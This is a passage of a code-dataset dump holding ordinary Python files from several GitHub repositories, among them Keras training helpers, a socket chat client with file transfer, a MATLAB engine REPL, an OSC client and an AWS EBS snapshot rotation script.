slice_forSparse(Matrix, a, b):\n\t\"\"\"\n\n\tParameters\n\t----------\n\tMatrix : float array\n\t\tArbitrary array\n\ta, b : int lists or arrays\n\t\tlist of rows and columns to be selected from `Matrix`\n\n\tReturns\n\t-------\n\tMatrix : float array\n\n\t\"\"\"\n\tMaa = Matrix[a,:].toarray()\n\n\tMaa = Maa[:, a]\n\n\tMab = Matrix[a,:].toarray()\n\n\tMab = Mab[:, b]\n\n\n\tif(np.array_equiv(a,b)):\n\t\treturn Maa\n\n\telse:\n\t\treturn Mab\n","repo_name":"15110142735/vibrationtesting","sub_path":"vibrationtesting/sparsematriceshandler.py","file_name":"sparsematriceshandler.py","file_ext":"py","file_size_in_byte":9141,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"79"}
+{"seq_id":"31360866725","text":"\nbl_info = {\n\t\"name\": \"DooSabin\",\n\t\"blender\": (2, 93, 0),\n\t\"category\": \"Object\",\n}\n\nimport bpy\n\nfrom . import ui\n\n\nclasses = (\n\tui.OperatorDooSabin,\n)\n\ndef register():\n\tfor cls in classes:\n\t\tbpy.utils.register_class(cls)\n\n\tbpy.types.VIEW3D_MT_object.append(ui.menu_func)  # Adds the new operator to an existing menu.\n\ndef unregister():\n\tfor cls in classes:\n\t\tbpy.utils.unregister_class(cls)\n\n\n","repo_name":"edzop/bpydoosabin","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"79"}
+{"seq_id":"72337890816","text":"from keras.callbacks import ModelCheckpoint, Callback, TensorBoard\n\nimport glob, re, os, sys\n\nsys.path.insert(1, os.path.join(sys.path[0], '../../'))\n\nfrom utils import divider\nfrom constants import WEIGHTS_BASE_DIR, WEIGHTS_EXTENSION\n\n\ndef train_model_no_augment(model, train_data, train_labels, val_data, val_labels, batch_size, epochs, model_name,\n                           class_weights=None, verbose=1, tb=False):\n    \"\"\"\n    Training wrappper. Trains a given model with given params. Can be set to augment if needed. Checkpoints the best\n    weights, and cleans them up when finished training.\n\n    :param tb: TensorBoard enabled\n    :param model: The model being trained\n    :param train_data: Training data\n    :param train_labels: Training labels\n    :param val_data: Validation data. If none, 'val_split' times of the training data will be used as validation data\n    :param batch_size: Batch size used when training\n    :param epochs: Epochs to train\n    :param augment: Augmentation object\n    :param model_name: Name of the model. Model will be saved with this name\n    :param verbose: Level of output\n    :return:\n    \"\"\"\n    callback_array = callbacks(model_name=model_name, checkpoint=True, delete_checkpoints=True, tb=tb)\n\n    # Fit the model according to params\n    model.fit(train_data, train_labels, batch_size=batch_size, epochs=epochs, verbose=verbose,\n              validation_data=(val_data, val_labels), callbacks=callback_array, class_weight=class_weights)\n\n\ndef train_model_augment(model, train_data, train_labels, val_data, val_labels, batch_size, epochs, model_name,\n                        augment, augment_batch_size=32, augment_validation=False, class_weights=None,\n                        verbose=1, tb=False):\n    # Get callbacks\n    callback_array = callbacks(model_name=model_name, checkpoint=True, delete_checkpoints=True, tb=tb)\n\n    # Set the augmentation and append it to the training data\n    train_datagen = augment\n    train_datagen.fit(train_data)\n\n    if augment_validation:\n        val_datagen = augment\n        val_datagen.fit(val_data)\n        val_datagen.flow(val_data, val_labels, batch_size=augment_batch_size)\n\n    validation = val_datagen if augment_validation else (val_data, val_labels)\n\n    # Fit the model on the batches generated by datagen.flow().\n    model.fit_generator(generator=train_datagen.flow(train_data, train_labels, batch_size=augment_batch_size),\n                        epochs=epochs, steps_per_epoch=len(train_data) // batch_size,\n                        validation_data=validation, class_weight=class_weights, callbacks=callback_array,\n                        verbose=verbose, validation_steps=len(train_data) // batch_size)\n\n\ndef callbacks(model_name, checkpoint=True, delete_checkpoints=True, tb=False):\n    callback_array = []\n\n    # Callback to save the best model\n    checkpoint_callback = ModelCheckpoint(WEIGHTS_BASE_DIR + model_name + \"_{epoch:03d}\" + WEIGHTS_EXTENSION,\n                                          verbose=1, save_best_only=True, monitor=\"val_loss\")\n\n    # Callback to cleanup the checkpoints\n    delete_checkpoint = CheckpointCleanup(model_name)\n\n    # TensorBoard callback\n    tensorboard = TensorBoard(log_dir=f'logs/{model_name}')\n\n    if checkpoint:\n        callback_array.append(checkpoint_callback)\n    if delete_checkpoints:\n        callback_array.append(delete_checkpoint)\n    if tb:\n        callback_array.append(tensorboard)\n\n    return callback_array\n\n\nclass CheckpointCleanup(Callback):\n    \"\"\"\n    Custom callback to cleanup all excess checkpoint. Primarily used on the end of a training\n    \"\"\"\n\n    def __init__(self, model_name):\n        super(CheckpointCleanup, self).__init__()\n        self.model_name = model_name\n\n    def on_train_end(self, batch, logs={}):\n        divider(70)\n        print(\"Deleting all excess checkpoints\")\n        files = [file for file in glob.glob(WEIGHTS_BASE_DIR + self.model_name + '*' + WEIGHTS_EXTENSION)]\n        numbs = []\n        for file in files:\n            try:\n                found_num = re.search(\"_\\d{3}\", file).group().replace(\"_\", \"\")\n                numbs.append(int(found_num))\n            except AttributeError:\n                pass\n\n        max_numb = max(numbs) if len(numbs) > 0 else 0\n        max_numb_str = f\"{str(max_numb).zfill(3)}\"\n        print(f\"Best checkpoint was in epoch {max_numb_str}\")\n        for file in files:\n            if max_numb_str in file:\n                os.rename(file, WEIGHTS_BASE_DIR + self.model_name + WEIGHTS_EXTENSION)\n            else:\n                os.remove(file)\n","repo_name":"didriksg/ML_methods","sub_path":"keras_implementations/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":4567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"20015563170","text":"import logging\nfrom os.path import join\n\n# https://docs.python.org/2/howto/logging.html\nfrom ifsApprover import config\nfrom ifsApprover.Utils import make_dirs_if_needed\n\n\ndef get_logger(name):\n    return logging.getLogger(\"ifs.%s\" % name)\n\n\ndef init_logger():\n    _configure_logger('ifs', \"ifs\")\n    _configure_logger('web')\n\n\ndef _configure_logger(file_name, logger_name=None):\n    level = logging.DEBUG\n    formatter = logging.Formatter(\"%(asctime)s %(levelname)s: %(message)s\", \"%H:%M:%S\")\n\n    logger = logging.getLogger(logger_name)\n    logger.setLevel(level)\n    if logger_name is not None:\n        logger.propagate = False\n\n    file_path = join(config[\"LOG_DIR\"], \"%s.log\" % file_name)\n    make_dirs_if_needed(file_path)\n    fh = logging.FileHandler(file_path)\n    fh.setLevel(level)\n    fh.setFormatter(formatter)\n    logger.addHandler(fh)\n\n    if config[\"CONSOLE_LOGGING\"]:\n        ch = logging.StreamHandler()\n        ch.setLevel(level)\n        ch.setFormatter(formatter)\n        logger.addHandler(ch)\n","repo_name":"ktt-ol/ifs-approver","sub_path":"backend/ifsApprover/Log.py","file_name":"Log.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"1090253777","text":"import requests\nfrom config import TEQUILA\n\n\nclass FlightSearch:\n    # This class is responsible for talking to the Flight Search API.\n    def __init__(self) -> None:\n        self.base_url = \"https://api.tequila.kiwi.com\"\n        self.header = {\n            \"apikey\": TEQUILA[\"apikey\"],\n        }\n        self.params = {\n            \"term\": \"\",\n            \"location_type\": \"city\",\n        }\n\n    def get_iata_codes(self, city):\n        self.params[\"term\"] = city\n        response = requests.get(f\"{self.base_url}/locations/query\", headers=self.header, params=self.params)\n        response.raise_for_status()\n        city_data = response.json()\n        city = city_data[\"locations\"][0][\"code\"]\n        return city\n","repo_name":"JHSpaz988/-100daysofcodingpythonchallenge","sub_path":"day39&40/projects/flight_deals/flight_search.py","file_name":"flight_search.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
+{"seq_id":"74285013688","text":"from functools import lru_cache\n\nfrom pydantic import BaseSettings\n\n\nclass Settings(BaseSettings):\n    app_name: str = \"CRUD User\"\n    db_path: str\n\n    class Config:\n        env_file = \".prod.env\"\n\n\n@lru_cache()\ndef get_settings():\n    return Settings()\n\n\n__all__ = [\n    \"get_settings\"\n]\n","repo_name":"xristxgod/USER-FILTER","sub_path":"backend/src/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"23175791232","text":"a,b=list(map(int,input().split()))\r\nnum1=[]\r\nnum2=[]\r\nresult=[]\r\nnum=1\r\ncnt1=0\r\nwhile(num<=a):\r\n    if(a%num==0):\r\n        num1.append(num)\r\n        cnt1+=1\r\n    num+=1\r\n\r\nnum=1\r\ncnt2=0\r\nwhile(num<=b):\r\n    if(b%num==0):\r\n        num2.append(num)\r\n        cnt2+=1\r\n    num+=1\r\nif(cnt1>cnt2):\r\n    for i in range(cnt1):\r\n        for j in range(cnt2):\r\n            if(num1[i]==num2[j]):\r\n                result.append(num1[i])\r\nelse:\r\n    for i in range(cnt2):\r\n        for j in range(cnt1):\r\n            if(num2[i]==num1[j]):\r\n                result.append(num2[i])\r\n\r\nnumber=max(result)\r\nnumber1=a/number\r\nnumber2=b/number\r\nprint(number)\r\nprint(int(number*number1*number2))","repo_name":"Seoyun0626/CodingTest","sub_path":"백준/Bronze/2609. 최대공약수와 최소공배수/최대공약수와 ��소공배수.py","file_name":"최대공약수와 최소공배수.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"74270630648","text":"import argparse\nimport matlab.engine\nimport re\nimport sys\n\nparser = argparse.ArgumentParser(description='MATLAB command line / REPL interface for Windows.')\nparser.add_argument(\"--orgbabel\", action='store_true')\nargs, unknown = parser.parse_known_args()\n\neng = matlab.engine.connect_matlab()\n\nif args.orgbabel:\n    try:\n        mlcommand = sys.stdin.read() # read until EOF\n        print(eng.evalc(mlcommand, nargout=1))\n    except (matlab.engine.MatlabExecutionError,\n                matlab.engine.RejectedExecutionError,\n                SyntaxError) as e:\n            print(e)\nelse:\n    print(\"MATLAB-engine REPL\")\n    print(f\"Connected to MATLAB process {eng.matlab.engine.engineName()}\")\n    while True:\n        try:\n            mlcommand = input(\">> \")\n            if re.match(r\"(exit|quit);?\", mlcommand):\n                raise KeyboardInterrupt\n            print(eng.evalc(mlcommand, nargout=1))\n        except (matlab.engine.MatlabExecutionError,\n                matlab.engine.RejectedExecutionError,\n                SyntaxError) as e:\n            pass\n        except EOFError:\n            break\n        except KeyboardInterrupt:\n            break\n    \neng.quit()\n","repo_name":"JorisL/.emacs.d","sub_path":"my_scripts/matlab_engine_repl.py","file_name":"matlab_engine_repl.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"9246957783","text":"\n# Python external library that will build and send osc messages\n#   to Max patch\n\nimport argparse\nimport random\nimport time\n\nfrom pythonosc import osc_bundle_builder\nfrom pythonosc import osc_message_builder\nfrom pythonosc import udp_client\n\n\nclass MaxClient:\n    def __init__(self,host,port):\n        parser = argparse.ArgumentParser()\n        parser.add_argument(\"--ip\", default=host,\n            help=\"The ip of the OSC server\")\n        parser.add_argument(\"--port\", type=int, default=port,\n            help=\"The port the OSC server is listening on\")\n        args = parser.parse_args()\n\n        self.client = udp_client.UDPClient(args.ip, args.port)\n\n    def sendUserMessage(self,message):\n        msg = osc_message_builder.OscMessageBuilder(address = '/user')\n        msg.add_arg(message['socketid'])\n        msg.add_arg(message['event'])\n        if(type(message['arg']) == list):\n            for arg in message['arg']:\n                msg.add_arg(arg)\n        elif(type(message['arg']) == dict):\n            msg.add_arg(message['arg']['x'])\n            msg.add_arg(message['arg']['y'])\n            if(message['arg']['z']):\n                msg.add_arg(message['arg']['z'])\n\n        else:\n            msg.add_arg(message['arg'])\n        \n        msg = msg.build()\n        self.client.send(msg)\n\n    def sendNewUser(self,obj):\n        msg = osc_message_builder.OscMessageBuilder(address = '/add_user')\n        msg.add_arg('socketid')\n        msg.add_arg(obj['socketid'])\n        msg.add_arg('initials')\n        msg.add_arg(obj['initials'])\n        msg = msg.build()\n        self.client.send(msg)\n        \n    def send(self,cmd,arg):\n        msg = osc_message_builder.OscMessageBuilder(address = cmd)\n        msg.add_arg(arg)\n        msg = msg.build()\n        self.client.send(msg)\n","repo_name":"awill1988/remote-audio-control","sub_path":"python/MaxClient.py","file_name":"MaxClient.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"24545859232","text":"from ...core30_context.context_dependency_graph import context_producer, context_dependencies\nfrom ...core30_context.context import Context\n\nfrom typing import Callable\nfrom logging import Logger\n\n\n@context_dependencies(('.log.main_logger', Logger))\ndef default_send_cli(ctxt: Context, data: str):\n    return ctxt['log']['main_logger'].info(data)\n\n\n@context_producer(('.interactor.intent_back', Callable[[str], None]))\n@context_dependencies(('.interactor.local', bool, False), ('.interactor.cli', bool, False))  # dynamically generated\ndef send_back_to_interactor(ctxt: Context):\n    if ctxt['interactor']['local'] and ctxt['interactor']['type'] == 'cli':\n        ctxt['interactor']['intent_back'] = default_send_cli\n    else:\n        raise NotImplementedError\n","repo_name":"Alkanoor/core","sub_path":"core/core22_action/policy/send.py","file_name":"send.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"8694867518","text":"from collections import defaultdict\n\nfor i in range(int(input())):\n\t\n\tn = int(input())\n\tarr = tuple(map(int,input().split()))\n\n\tvisited = defaultdict(int)\n\tsumm=0\n\n\tfor j in arr[::-1]:\n\t\tif visited[j]==0 or visited[-1*j]==0:\n\t\t\tsumm+=j\n\t\t\tvisited[j]=1\n\t\t\tvisited[-1*j]=1\n\n\tprint(f'Case {i+1}: {summ}')","repo_name":"30xfeihui/CSE_CONTESTS","sub_path":"sec14_contest_00/python3/problem_J.py","file_name":"problem_J.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"17304691275","text":"import socket\nimport threading\nimport json\nimport os\nimport time\n\nclass Client():\n    def __init__(self):\n        theclient_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n        theclient_socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)\n        server_ip='127.0.0.1'\n        server_port=int('7788')\n        theclient_socket.connect((server_ip,server_port))\n        self.theclient_socket=theclient_socket\n    \n    def send_msg(self):\n        while True:\n            send_data=input()\n            if send_data=='EXIT':\n                self.theclient_socket.send('EXIT'.encode('utf-8'))\n                break\n            self.theclient_socket.send((self.username+':'+send_data).encode('utf-8'))\n\n    def recv_msg(self):\n        while True:\n            try:\n                recv_data=self.theclient_socket.recv(1024).decode('utf-8')\n                if recv_data==self.username+'已退出群聊聊天室':\n                    print('\\r'+recv_data)\n                    break\n                else:\n                    print('\\r'+recv_data)\n            except:\n                break\n\n    def login(self):\n        servertype=input('请选择注册还是登录(登录:1,注册:2,退出:0):')\n        if servertype=='1':\n            self.theclient_socket.send('LOGIN'.encode('utf-8'))\n            print('现在您正在登录')\n            username=input('请输入您的用户名:')\n            password=input('请输入您的密码:')\n            # print(username,password)\n            self.theclient_socket.send(json.dumps({'username':username,'password':password}).encode('utf-8'))\n            recv_flag=json.loads(self.theclient_socket.recv(1024).decode('utf-8'))\n            # print('===================================')\n            if recv_flag.get('code')=='OK':\n                print('登录成功!')\n                return recv_flag\n            else:\n                print(recv_flag.get('msg'))\n                time.sleep(0.5)\n                os.system('cls')\n                return recv_flag\n\n        elif servertype=='2':\n            self.theclient_socket.send('REGISTER'.encode('utf-8'))\n            print('现在为您注册一个新用户')\n            username=input('请输入您的用户名:')\n            password1=input('请输入您的密码:')\n            password2=input('请再次输入您的密码:')\n            self.theclient_socket.send(json.dumps({'username':username,'password1':password1,\n            'password2':password2}).encode('utf-8'))\n            recv_flag=json.loads(self.theclient_socket.recv(1024).decode('utf-8'))\n            if recv_flag.get('code')=='OK':\n                print('注册成功!')\n                return recv_flag\n            else:\n                print(recv_flag.get('msg'))\n                time.sleep(0.5)\n                os.system('cls')\n                return recv_flag\n        elif servertype=='0':\n            return {'code':000}\n        else:\n            return {'code':'error'}\n\n    def group_msg_cat(self):\n        print('*****群聊记录如下*****')\n        END='THE MSG IS END'\n        all_data=''\n        recv_data=''\n        while True:\n            if END in recv_data:\n                break\n            recv_data=self.theclient_socket.recv(1024).decode('utf-8')\n            # all_data.append(recv_data)\n            all_data+=recv_data\n        all_data_list=all_data.split('$$##$$')\n\n        count=1\n        for one_data in all_data_list:\n            if one_data==END:\n                break\n            print('第%s条消息为:' %count)\n            print(one_data+'\\n')\n            count+=1\n        print('所有群聊记录已显示完毕')\n        os.system('pause')\n\n\n\n    def add_friend(self):\n        friend_name=input('请输入要添加的好友用户名:')\n        self.theclient_socket.send(friend_name.encode('utf-8'))\n        flag=self.theclient_socket.recv(1024).decode('utf-8')\n        if flag=='OK':\n            while True:\n                is_flag=input('成功搜索到该用户,是否要关注该用户(是:YES/否:NO/退出:EXIT):')\n                if is_flag==\"EXIT\":\n                    self.theclient_socket.send('EXIT'.encode('utf-8'))\n                    break\n                elif is_flag=='YES':\n                    self.theclient_socket.send('YES'.encode('utf-8'))\n                    flag=self.theclient_socket.recv(1024).decode('utf-8')\n                    if flag=='OK':\n                        print('**关注成功**')\n                    elif flag=='Already':\n                        print('**已关注，请勿重复关注**')\n                    else:\n                        print('**关注失败**')\n                    break\n                elif is_flag=='NO':\n                    self.theclient_socket.send('NO'.encode('utf-8'))\n                    break\n                else:\n                    print('请按规定输入，请再次输入!')\n        else:\n            print('该用户不存在')\n        # os.system('cls')\n\n\n    def cat_friend(self):\n        print('您的好友列表如下:')\n        # print('-------------------')\n        recv_data=self.theclient_socket.recv(8192).decode('utf-8')\n        # print('=======================')\n        if recv_data=='$$##$$':\n            print('无')\n        else:\n            friend_list=recv_data.split('++')\n            for friend in friend_list:\n                print(friend)\n        os.system('pause')\n\n\n    def private_chat(self):\n        self.cat_friend()\n        friend_name=input('请输入你要私聊的好友用户名:')\n        self.theclient_socket.send(friend_name.encode('utf-8'))\n        flag=self.theclient_socket.recv(1024).decode('utf-8')\n        if flag=='OK':\n            flag=self.theclient_socket.recv(1024).decode('utf-8')\n            if flag=='OK':\n                while True:\n                    flag=input('该用户在线，是否要进行私聊(是:YES/否:NO):')\n                    if flag=='NO':\n                        self.theclient_socket.send('EXIT'.encode('utf-8'))\n                        break\n                    elif flag=='YES':\n                        self.theclient_socket.send('YES'.encode('utf-8'))\n                        os.system('cls')\n                        print('*****欢迎来到你和%s的私人聊天室*****' %friend_name)\n                        print('*****输入EXIT以退出*****')\n                        print('*****输入SENDFILE以发送文件*****')\n                        # 下列开始询问是否要查看历史消息\n                        flag=input('是否查看历史未读消息(是:YES/否:other):')\n                        if flag=='YES':\n                            self.theclient_socket.send('YES'.encode('utf-8'))\n                            self.get_history_msg()\n                        else:\n                            self.theclient_socket.send('NO'.encode('utf-8'))\n                        print('请输入您要发送的信息')\n                        # 同时开启监听和发送两个进程\n                        t1=threading.Thread(target=self.send_private_msg)\n                        t2=threading.Thread(target=self.recv_private_msg)\n                        t1.start()\n                        t2.start()\n                        t1.join()\n                        t2.join()\n                        break\n                    else:\n                        print('输入错误，请再次尝试输入!')\n            else:\n                while True:\n                    # print(friend_name)\n                    flag=input('该用户不在线，是否要进行私聊(是:YES/否:NO):')\n                    if flag=='NO':\n                        self.theclient_socket.send('EXIT'.encode('utf-8'))\n                        break\n                    elif flag=='YES':\n                        self.theclient_socket.send('YES'.encode('utf-8'))\n                        os.system('cls')\n                        print('*****欢迎来到你和%s的私人聊天室*****' %friend_name)\n                        print('*****输入EXIT以退出*****')\n                        print('*****输入SENDFILE以发送文件*****')\n                        # 下列开始询问是否要查看历史消息\n                        flag=input('是否查看历史未读消息(是:YES/否:other):')\n                        if flag=='YES':\n                            self.theclient_socket.send('YES'.encode('utf-8'))\n                            self.get_history_msg()\n                        else:\n                            self.theclient_socket.send('NO'.encode('utf-8'))\n                        print('请输入您要发送的信息')\n                        # 同时开启监听和发送两个进程\n                        t1=threading.Thread(target=self.send_private_msg)\n                        t2=threading.Thread(target=self.recv_private_msg)\n                        t1.start()\n                        t2.start()\n                        t1.join()\n                        t2.join()\n                        break\n                    else:\n                        print('输入错误，请再次尝试输入!')\n        else:\n            print('该用户不存在')\n\n    def send_private_msg(self):\n            while True:\n                send_data=input()\n                if send_data=='EXIT':\n                    self.theclient_socket.send('EXIT'.encode('utf-8'))\n                    break\n                elif send_data=='SENDFILE':\n                    self.theclient_socket.send('SENDFILE'.encode('utf-8'))\n                    self.send_file()\n                    # t=threading.Thread(target=self.recv_private_msg)\n                    # t.start()\n                self.theclient_socket.send((self.username+':'+send_data).encode('utf-8'))\n\n    def send_file(self):\n        print('---send file is there---')\n        END='$$##$$THE MSG IS END$$##$$'\n        filepath=input('请输入要传输的文件路径:')\n        try:\n            f=open(filepath,'rb')\n            self.theclient_socket.send('YES'.encode('utf-8'))\n            filename=filepath.split('\\\\')[-1]\n            # print(filename)\n            self.theclient_socket.send(filename.encode('utf-8'))\n\n            time.sleep(0.2)\n            data=f.read(1024*8)\n            # print('the send data is %s' %data)\n            while data:\n                self.theclient_socket.send(data)\n                data=f.read(1024*8)\n            self.theclient_socket.send(END.encode('utf-8'))\n            \n            # recv_flag=self.theclient_socket.recv(1024).decode('utf-8')\n            # if recv_flag=='OK':\n            print('文件上传成功!')\n            time.sleep(0.2)\n        except:\n            self.theclient_socket.send('NO'.encode('utf-8'))\n            print('文件路径错误或该文件不存在')\n        # # 重启发送线程\n        # t1=threading.Thread(target=self.send_private_msg)\n        # t1.start()\n        # t1.join()\n        \n\n\n    def recv_private_msg(self):\n        while True:\n            try:\n                recv_data=self.theclient_socket.recv(1024).decode('utf-8')\n                if recv_data=='$$##$$EXIT$$##$$':\n                    break\n                elif '$$##$$YOU RECV A FILE$$##$$' in recv_data:\n                    filename=recv_data.strip('$$##$$YOU RECV A FILE$$##$$')\n                    self.recv_file(filename)\n                elif recv_data:\n                    print(recv_data)\n            except:\n                break\n\n    def recv_file(self,filename):\n        print('***您的好友发了一个文件给您***')\n        END_FLAG='$$##$$THE MSG IS END$$##$$'.encode('utf-8')\n        while True:\n            # print(filename)\n            recv_data=self.theclient_socket.recv(8*1024)\n            # print('recv_data is %s' %recv_data)\n            if END_FLAG in recv_data:\n                break\n            with open('client_recv\\\\'+filename,'ab') as f:\n                f.write(recv_data)\n        print('***文件接受完成***')\n\n    def get_history_msg(self):\n        print('历史消息如下:')\n        END='THE MSG IS END'\n        all_data=''\n        recv_data=''\n        while True:\n            if END in recv_data:\n                break\n            recv_data=self.theclient_socket.recv(1024).decode('utf-8')\n            all_data+=recv_data\n        all_data_list=all_data.split('$$##$$')\n        all_data_list.remove(END)\n        # print(all_data_list)\n        if all_data_list:\n            for msg in all_data_list:\n                print(msg)\n        else:\n            print('无历史消息')\n\n\n\n    def run(self):\n        print('*****欢迎来到网络聊天室v1.0*****')\n        while True:\n            print('您还未登录，请先登录!')\n            flag=self.login()\n            if flag.get('code')=='OK':\n                username=flag.get('msg')\n                self.username=username\n                break\n            elif flag.get('code')==000:\n                exit()\n        # print(flag)\n        # print(username)\n        while True:\n            print('*******您已经进入菜单界面*******')\n            print('请选择您要求的服务类型:')\n            print('输入1：进入公共聊天室')\n            print('输入2:查看群聊记录')\n            print('输入3:搜索并添加好友')\n            print('输入4:查看好友列表')\n            print('输入5:选择好友进行私聊')\n            print('输入0:退出程序')\n\n            servernum=input('请输入选择的功能:')\n            if servernum=='0':\n                print('*****您已退出网络聊天器v1.0*****')\n                exit()\n            elif servernum=='1':\n                self.theclient_socket.send('GROUP_CHAT'.encode('utf-8'))\n                os.system('cls')\n                print('*****您已成功进入公共聊天室*****')\n                print('*****输入EXIT退出*****')\n                t1=threading.Thread(target=self.recv_msg)\n                t2=threading.Thread(target=self.send_msg)\n                t1.start()\n                t2.start()\n                t1.join()\n                t2.join()\n                # time.sleep(1)\n                os.system('cls')\n            elif servernum=='2':\n                self.theclient_socket.send('GROUP_MSG_CAT'.encode('utf-8'))\n                os.system('cls')\n                self.group_msg_cat()\n            elif servernum=='3':\n                self.theclient_socket.send('ADD_FRIEND'.encode('utf-8'))\n                os.system('cls')\n                self.add_friend()\n            elif servernum=='4':\n                self.theclient_socket.send('CAT_FRIEND'.encode('utf-8'))\n                os.system('cls')\n                self.cat_friend()\n            elif servernum=='5':\n                self.theclient_socket.send('PRIVATE_CHAT'.encode('utf-8'))\n                os.system('cls')\n                self.private_chat()\n\n\n\ndef main():\n    client=Client()\n    client.run()\n\nif __name__=='__main__':\n    main()\n\n","repo_name":"guofuwei/PS-Internship","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":14840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"32786781832","text":"#!/usr/bin/env python\n#\n# aws_snapshot_manager.py \n#\n# Takes a daily snapshot and manages your archival snapshot inventory.  \n#\n# Requirements:\n# \n# * A working boto configuration for establishing connection to your AWS environment\n# * This script is meant to be run once a day with a cron job\n# \n# Snapshot management logic is as follows:\n#\n# * Always keep the past 7 days of snapshots\n# * Always keep the snapshot taken on the last day of the month.\n#\n# To do:\n# \n# Add localtime vs ntp server check just in case localtime is way off\n# Add argparse and include target volume option, debug, etc.\n# Add support for snapshotting multiple volumes\n#\n# v0.1 Initial script, catdevurandom\n\n\nimport boto # Note: AWS API credentials must be supplied in your user's homedir in a file called .boto for this to work.  See boto documentation: http://code.google.com/p/boto/w/list\nimport re\nimport datetime\nimport calendar\nimport syslog\nimport sys\n\n\ndef main():\n    global debug\n    debug = True\n    syslog.openlog(\"aws_snapshot_manager.py\", syslog.LOG_PID, syslog.LOG_LOCAL0)\n    syslog.syslog('INFO: Starting snapshot management process')\n    conn = start_aws_connection()\n    selected_volume = select_volume(conn, \"vol-140bd69d\") # change this to the volume you'd like to use\n    snapshot_result = take_snapshot(selected_volume)\n    archival_snapshot_list = get_snapshot_list(conn)\n    result = manage_snapshot_inventory(archival_snapshot_list)\n\ndef start_aws_connection():\n    '''Initiate AWS API connection'''\n\n    try:\n        conn = boto.connect_ec2()\n        if debug is True: syslog.syslog('DEBUG: Initiated %s successfully' % conn)\n    except Exception:\n        syslog.syslog('ERROR: Failed to connect to AWS')\n\n    return conn\n\ndef select_volume(conn, volume_id):\n    '''Select specified volume ID and return volume object'''\n\n    volume_list = conn.get_all_volumes([volume_id])\n    selected_volume = volume_list[0]\n\n    if selected_volume is None:\n        syslog.syslog('ERROR: Failed to locate %s' % volume_id)\n    elif debug is True:\n        syslog.syslog('DEBUG: Selected %s' % selected_volume)\n\n    return selected_volume\n\ndef take_snapshot(selected_volume):\n    '''Take snapshot of selected volume and add proper descriptor'''\n    snapshot_description = 'Created by aws_snapshot_manager.py at ' + datetime.datetime.today().isoformat(' ')\n    try:\n        snapshot_result = selected_volume.create_snapshot(snapshot_description)\n        syslog.syslog('INFO: Created %s successfully!' % snapshot_result)\n    except:\n        syslog.syslog('ERROR: Failed to create snapshot!  Cancelling job.')\n        sys.exit(1)\n\n    return snapshot_result\n\ndef get_snapshot_list(conn):\n    '''Get a list of all snapshots with matching Description field'''\n    description = 'Created by aws_snapshot_manager.py'\n    all_snapshots = conn.get_all_snapshots()\n    archival_snapshot_list = [i for i in all_snapshots if re.match(description, i.description)]\n    if debug is True: syslog.syslog('DEBUG: %s snapshots currently in inventory' % len(archival_snapshot_list))\n    if len(archival_snapshot_list) < 7: syslog.syslog('ERROR: Only %s snapshots currently in AWS inventory, we should always have at least 7!' % len(archival_snapshot_list))\n\n    return archival_snapshot_list\n\ndef manage_snapshot_inventory(archival_snapshot_list):\n    '''Check current date and process documented archival/deletion logic'''\n    today = datetime.date.today()\n    last_monthday = calendar.mdays[today.month]\n    week_delta = today - datetime.timedelta(days=7)\n    expired_snapshots = []\n\n    for snapshot in archival_snapshot_list:\n        snapshot_datetime = datetime.datetime.strptime(snapshot.start_time, '%Y-%m-%dT%H:%M:%S.%fZ')\n        snapshot_date = snapshot_datetime.date()\n        if snapshot.start_time <= week_delta.isoformat() and snapshot_date.day != calendar.mdays[snapshot_date.month]:\n        # snapshots more than 7 days old are deleted, unless it was the last snapshot of any given month\n            expired_snapshots.append(snapshot)\n\n    if len(expired_snapshots) > 0:\n        result = delete_snapshots(expired_snapshots)\n\n    elif len(expired_snapshots) == 0:\n        if debug is True:\n            syslog.syslog('DEBUG: Not deleting any snapshots today')\n        result = 0\n\n    else:\n        syslog.syslog('ERROR: How the hell did I come back with a negative number of snapshots?')\n        result = 1\n\n    return result\n\ndef delete_snapshots(expired_snapshots):\n    for snapshot in expired_snapshots:\n        syslog.syslog('INFO: Deleting %s (created on: %s)' % (snapshot, snapshot.start_time))\n        try: \n            snapshot.delete()\n        except:\n            syslog.syslog('ERROR: Failed to delete %s' % snapshot)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"catdevurandom/aws-scripts","sub_path":"aws_snapshot_manager.py","file_name":"aws_snapshot_manager.py","file_ext":"py","file_size_in_byte":4749,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
